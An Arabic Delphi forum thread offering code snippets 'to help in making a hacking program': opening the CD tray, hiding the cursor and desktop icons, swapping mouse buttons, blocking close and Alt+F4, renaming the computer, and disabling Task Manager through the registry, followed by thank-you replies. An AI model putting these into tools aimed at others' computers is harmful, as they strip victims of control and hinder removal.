[ Delphi ] بعض الاكواد المساعدة في عمل برنامج اختراق

تم تحميل الصفحة في 1,8511308 ثانية
بعض الاكواد المساعدة في عمل برنامج اختراق
إنضم
28 يوليو 2011
المشاركات
290
الإعجابات
109
النقاط
0






ندخل مباشرة في الموضوع

اليوم احضرت لكم بعض الاكواد المساعدة في عمل برنامج اختراق



فتح قارئ الاقراص

كود:
mciSendString('Set cdaudio door open wait', nil, 0, handle) ;

غلق قارئ الاقراص

كود:
mciSendString('Set cdaudio door closed wait', nil, 0, handle) ;

اخفاء الماوس

كود:
ShowCursor(False);
اظهار الماوس

كود:
ShowCursor(True);
تعطيل زر إغلاق
كود:
var
  Flag: UINT;
  AppSysMenu: THandle;
begin
  AppSysMenu:=GetSystemMenu(Handle,False);
  Flag:=MF_GRAYED;
  EnableMenuItem(AppSysMenu,SC_CLOSE,MF_BYCOMMAND or Flag);
تعطيل ALT+F4

كود:
if (Key = VK_F4) and (ssAlt in Shift) then Key := 0;
Change Computer Name:
function SetComputerName(AComputerName: string): Boolean;
var
  ComputerName: array[0..MAX_COMPUTERNAME_LENGTH + 1] of Char;
  Size: Cardinal;
begin
  StrPCopy(ComputerName, AComputerName);
  Result := Windows.SetComputerName(ComputerName);
end;
مبادلة أزرار الماوس

كود:
procedure SwapMouseButtons(bValue: Boolean);
begin
  if bValue then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, nil, 0)
  else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, nil, 0);
end;
إخفاء ايقونات سطح المكتب

كود:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_HIDE);
Show Desktop Icons:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_SHOW);
 Disable Task Manager
procedure DisableTaskMgr(bTF: Boolean);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;

  reg.OpenKey('Software', True);
  reg.OpenKey('Microsoft', True);
  reg.OpenKey('Windows', True);
  reg.OpenKey('CurrentVersion', True);
  reg.OpenKey('Policies', True);
  reg.OpenKey('System', True);

  if bTF = True then
  begin
    reg.WriteString('DisableTaskMgr', '1');
  end
  else if bTF = False then
  begin
    reg.DeleteValue('DisableTaskMgr');
  end;
  reg.CloseKey;
end;





 

KasTar

Active DeveloPer
rankrankrank
إنضم
24 يناير 2012
المشاركات
639
الإعجابات
390
النقاط
0
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

تم التقييم
:27:
 
إنضم
28 يوليو 2011
المشاركات
290
الإعجابات
109
النقاط
0
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

:32:شكرا على مروركم:32:
 
إنضم
10 مارس 2011
المشاركات
9,125
الإعجابات
11,897
النقاط
113
الإقامة
Zaregoto
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

بارك الله فيك اخي الغالي
و يعطيك الف عافية
:32:
 
إنضم
15 يونيو 2012
المشاركات
1,240
الإعجابات
667
النقاط
113
العمر
22
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

مشكور :32: تم التقيم :32:
 
إنضم
28 يوليو 2011
المشاركات
290
الإعجابات
109
النقاط
0
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

شكرا على مرورك
 
إنضم
28 يوليو 2011
المشاركات
290
الإعجابات
109
النقاط
0
رد: بعض الاكواد المساعدة في عمل برنامج اختراق

شكرا على مرورك اخي
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل